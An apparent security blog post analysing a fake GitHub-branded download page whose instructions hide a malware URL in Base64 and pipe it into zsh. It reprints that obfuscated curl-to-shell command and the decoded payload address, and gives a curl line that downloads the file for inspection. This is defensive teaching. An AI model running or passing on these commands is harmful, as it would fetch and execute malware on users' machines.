While investigating a suspicious download flow, we traced a redirect from TorrentMac’s download-fallback page to fileshadowquanta.com. The destination is no longer available, so we’re providing the saved script as a non-executable, plain-text sample for educational analysis. (at the end —Part 2)

At the time of our review, the destination displayed GitHub branding, including a logo and a “Verified Publisher” banner.

We’re documenting what we observed as part of our security analysis; this does not imply that Snubmonkey uses or endorses either service.

At first glance, the site looks legitimate: it has a clean design, polished copy, and clear step-by-step instructions. But a professional appearance, GitHub logo, “Verified Publisher” badge, copyright notice, or HTTPS connection doesn’t prove the site is operated or endorsed by GitHub—or that its downloads are safe.

Remember: HTTPS protects the connection; it doesn’t verify the site or its content.

The Command

The download instructions provided a command like this:

$ curl -s $(echo "aHR0cHM6Ly9seXJpYy01OS5jb20vY3VybC83ZXUwMmZhNzMvaGo1azlobmVqbTdjbjV4NmU2cHc1dW52LmRhdA==" | openssl base64 -d -A) | zsh

The long aHR0cHM6Ly9seXJpYy01OS5jb20vY3VybC83ZXUwMmZhNzMvaGo1azlobmVqbTdjbjV4NmU2cHc1dW52LmRhdA== string is Base64-encoded.

Base64 represents data using a limited set of characters; it is encoding, not encryption. It doesn’t protect the text or make it secret.

To reveal the encoded text without visiting the URL or downloading anything, decode it as text:

macOS

$ printf '%s' 'aHR0cHM6Ly9seXJpYy01OS5jb20vY3VybC83ZXUwMmZhNzMvaGo1azlobmVqbTdjbjV4NmU2cHc1dW52LmRhdA==' | base64 -D

Linux systems

$ printf '%s' 'aHR0cHM6Ly9seXJpYy01OS5jb20vY3VybC83ZXUwMmZhNzMvaGo1azlobmVqbTdjbjV4NmU2cHc1dW52LmRhdA==' | base64 -d

It decodes to:

https://lyric-59.com/curl/7eu02fa73/hj5k9hnejm7cn5x6e6pw5unv.dat

In the original command, curl retrieves the response from that URL, and | zsh passes the response to Z shell for execution.

The main risk: the command downloads content from a remote server and passes it straight to zsh, before you can review it. The URL is Base64-encoded, which makes the destination less obvious at a glance. Encoding alone doesn’t prove malicious intent, but when a command hides its destination and immediately executes the download, it’s reasonable to ask why and to avoid running it.

Is there an affiliation with GitHub?

No, absolutely not.
lyric-59.com has zero connection to GitHub. GitHub URLs exclusively use domains owned and operated by GitHub, such as github.com, raw.githubusercontent.com, or gist.github.com.

Any script directing you to download and execute code from an unrelated external domain like lyric-59.com is trying to bypass GitHub entirely to run unverified, potentially malicious code on your machine.

Inspect curl | shell CMD

Commands that download content and pass it directly to a shell execute whatever the server returns.

For example:

curl -s "URL" | zsh

Here, curl retrieves the response, and zsh executes it. Hiding the URL with Base64 makes the command less readable at a glance but does not change what it does.

1. Don’t run it

Treat commands such as curl ... | sh, curl ... | bash, and curl ... | zsh as untrusted code. Don’t paste them into Terminal to see what happens.

2. Decode hidden text without executing it

Base64 decoding reveals the encoded text; it does not execute the result. If it decodes to a URL, note the domain and path.
Don’t automatically pass the URL to a download command.

3. Save it for review

Contacting a server may reveal your IP address, and the request may be logged. If you retrieve a file, save it for review instead of piping it into a shell:

$ curl -fsSL 'URL' -o suspicious-file

If you choose to retrieve the file, save it as suspicious-file or (another name of your choice) for review. Downloading it does not make it safe. Don’t run it or open it by double-clicking.

4. Check the source independently

A familiar-looking site or HTTPS connection does not guarantee that a file is trustworthy. Confirm through a separate, trusted source that the command and domain are expected. Be especially cautious with instructions from pop-ups, unsolicited messages, or unfamiliar download pages.

Inspect the File as Data Without Running it

Let's save the response as a file for review, without executing it:

$ curl -fsSL 'https://lyric-59.com/curl/7eu02fa73/hj5k9hnejm7cn5x6e6pw5unv.dat' -o suspicious-file

This contacts the server and saves its response as suspicious-file. It does not verify that the file is safe. Don’t run it.

These commands inspect the file as data; they do not execute it.

$ file suspicious-file
$ wc suspicious-file
$ xxd -l 256 suspicious-file

• file suspicious-file identifies the file type from its contents. Here, it recognizes a zsh script from the #!/bin/zsh line. “ASCII text executable” means the file is readable text and marked as executable; it does not mean the file is safe.
• wc suspicious-file counts lines, words, and bytes. Here, it reports 54 lines, 178 words, and 3,003 bytes, in that order.
• xxd -l 256 suspicious-file displays the file’s first 256 bytes in two columns: hexadecimal bytes on the left and their readable-text equivalents on the right. The numbers at the start of each row (such as 00000000) are the byte offsets. Here, 23 21 corresponds to #!, so the preview begins with #!/bin/zsh, identifying it as a zsh script. The following bytes show a comment with a version-like label, logging code, and the beginning of a long value named _license_salt. This is only a preview; it doesn’t show the full file or reveal the hidden payload.

If the file is readable text, view it without executing it:

$ less suspicious-file

less lets you scroll through the file; press q to quit.
To display its first 100 lines instead, use:

$ head -n 100 suspicious-file

Review the contents for commands that download or launch other files, change startup settings, access credentials, or delete data. A readable preview may not reveal the full payload: scripts can conceal behavior through encoding, compression, or additional downloads.

Avoid commands such as source suspicious-file, . suspicious-file, sh suspicious-file, or zsh suspicious-file; those execute the file.

The command hides its destination and runs whatever the server returns before you can review it. Treat commands that pipe downloads directly into a shell as untrusted, and verify the source independently. Do not run this script under any circumstances.

We hope this was helpful.
Keep learning. Keep exploring. Build a safer open-source community.

What’s Next?

In Part 2/2: Suspicious Download — Inspecting the Script, we’ll save the downloaded file for review and examine what its full contents reveal, including obfuscated commands and embedded data.